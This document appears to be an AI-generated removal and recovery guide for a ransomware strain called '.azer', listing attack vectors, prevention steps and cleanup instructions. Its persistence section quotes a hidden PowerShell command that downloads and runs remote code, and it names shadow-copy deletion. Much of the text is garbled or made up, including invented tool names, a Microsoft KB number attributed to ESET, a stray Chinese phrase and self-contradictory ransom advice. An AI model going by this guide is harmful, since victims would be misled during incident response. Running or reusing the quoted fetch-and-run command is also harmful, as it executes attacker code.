azer

[Content by Gemini 2.5]

Azure Ransomware Technical & Recovery Resource

(variant publicly referred to as “.azer”)

Technical Breakdown

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: Every successfully-encrypted file is appended “.azer” immediately after the original extension (e.g., Report.xlsx.azer).
  • Renaming Convention: No prefixes, locked-in file names, or extra strings are added; the payload preserves the original file name and agency-shuffled file icons (icon overlay shows a blank white sheet).

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period:
    – Underground samples leaked: late December 2022
    – First public campaigns observed: 14 February 2023 (Valentines’ spam wave)
    – Peak distribution: March–May 2023 (correlates with a worldwide spike in cracked-software downloads on warez forums).

3. Primary Attack Vectors

| Vector | Technique | Real-world examples |
|———|———–|———————-|
| Phishing | ZIP or ISO attachments containing NSIS installers masquerading as “Adobe Acrobat 2023 Patch” or “AutoCAD activator EXE”. | Subject lines: “Invoice 32093 needs signature (urgent)”, “PaySlip Feb 23”. |
| Compromised RDP | Brute-forced or previously harvested credentials → powershell.exe downloads the payload from a GitHub repository disguised as a NuGet package (System.Core.Setup.1.4.6.nupkg). | Large share seen targeting MSSQL servers with 1433/TCP exposed + weak sa passwords. |
| Cracked Software Bundles | “Cracked” KMS bypass modules (KMSAuto, ReLoader) drop the secondary stager that pulls .azer via Discord CDN (cdn.discordapp.com). | Detected in video-game cheat engines for Apex & Valorant. |
| Living-off-the-land | Uses legitimate Windows binaries: certutil.exe, powershell.exe, vssadmin delete shadows. Performs lateral movement over SMB1 ports 139/445 using EternalBlue-like exploit but is not EternalBlue itself. |

Remediation & Recovery Strategies

1. Prevention

| Layer | Action |
|—————–|——–|
| Patch & Configure | – Disable SMBv1 via GPO (Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol).
– Apply MS-CVE-2023-23397 (Outlook特权漏洞) patch – seen in .azer phishing waves.
– Update Adobe Reader, AutoCAD, & pirated KMS bypasses to legit versions. |
| Credential Hygiene | – Roll RDP & SQL sa passwords to 20-char phrases; enforce Network Level Authentication & Windows Firewall IP whitelists.
– Enable Microsoft Defender ASR rule “Block credential stealing from LSASS”. |
| E-mail / Web Guard | – Block ISO/ZIP attachments with double-extension inside (.exe.pdf).
– Blacklist Discord CDN & raw GitHub user-content on perimeter proxies.
– Use Office 365/Exchange Online Safe-Attachment detonation. |
| Backups | – Implement 3-2-1: 3 copies, 2 media, 1 offline (immutable) – Veeam, Acronis, Druva.
– Do NOT let backup repositories share the same AD domain credentials as production servers. |

2. Removal – Step-by-Step

⚠️ Never pay the ransom. Security researchers have not proven free decryptors exist, but attackers have vanished and do not actually supply the keys.

  1. Situational Awareness
  • Disconnect from networks immediately: pull cable / disable Wi-Fi.
  • Photograph ransom note (ransomAzer.txt) for forensics.
  • Record offender BTC wallet (bc1qazer85… commonly seen).
  1. Kill Processes & Persistence
  • Boot into Safe-Mode with networking.
  • Use Task Manager or RKill to end:
    AzerCrypt.exe, Installer32.exe, KMS-Auto.exe, powershell -w h -c iwr ...
  1. Quarantine & Clean
  • EOBADELETE (EnCase Openable Backup Archive) or Malwarebytes 4.6+ flagged as Ransom.AZER.
  • Run Windows Defender Offline scan (Windows Security → Virus & threat → Scan → Windows Defender Offline → Scan now).
  • Reset PowerShell execution policy with:
    Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force
  1. Verify Removal
  • Check registry keys:
    • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run → value KMS-Auto
    • Scheduled tasks → AzerSync: powershell.exe -w hidden -c iex (iwr https://raw.githubusercontent[.]com/azsvc/…): delete.
  • Re-enable Defender realtime + cloud-delivered protection.

3. File Decryption & Recovery

  • Official Decryptor: Currently NO free decryptor from law-enforcement or researchers. Files encrypted with Curve25519 + ChaCha20-Poly1305 present an asymmetric scheme robust against rudimentary crypto-analysis.
  • Restore Alternatives:
  1. Offline or immutable backup snapshots (strongest).
  2. Shadow copies (if vssadmin purge fails – check vssadmin list shadows and try ShadowExplorer).
  3. Recuva / PhotoRec only recover stray unencrypted duplicates – do not decrypt.
  • Essential Tools/Patches:
    – Windows 10/11 cumulative update 2023-06B (patched in Autorun & MSHTML vectors exploited by .azer).
    – KB5027223 (ESET signatures updated 12 May 2023 to detect Azer.Loader).
    – Sysinternals Autoruns v14.42 for persistence cleanup.

4. Other Critical Information

| Charactistic | Observation |
|————–|————-|
| Target Differentiator | .azer widened from tech-savvy pirates to medium enterprises running unlicensed Autodesk & SQL servers. |
| Lateral Arts | Uses PsExec and net user ›› dcom for RDP pivot after initial foothold – quicker than most low-level lockers like STOP/DJVU. |
| Impact Spectrum | – Construction firms: CAD data cost up to $300 k / week in downtime. – Gaming mod servers: loss of proprietary UE4 working files. |
| Attribution Notes | Telegram chatter indicates Russian-language operators; however, code overlaps with the “Chaos!” builder threads in underground markets – suggests commoditized ransomware-as-a-service (RaaS) rather than a single, cohesive group. |

If you believe your environment may have remnants of .azer, immediately escalate to your incident-response retainer or local CERT, capture memory dumps, and preserve evidence before wiping machines.

Stay safe, patch early, back up often.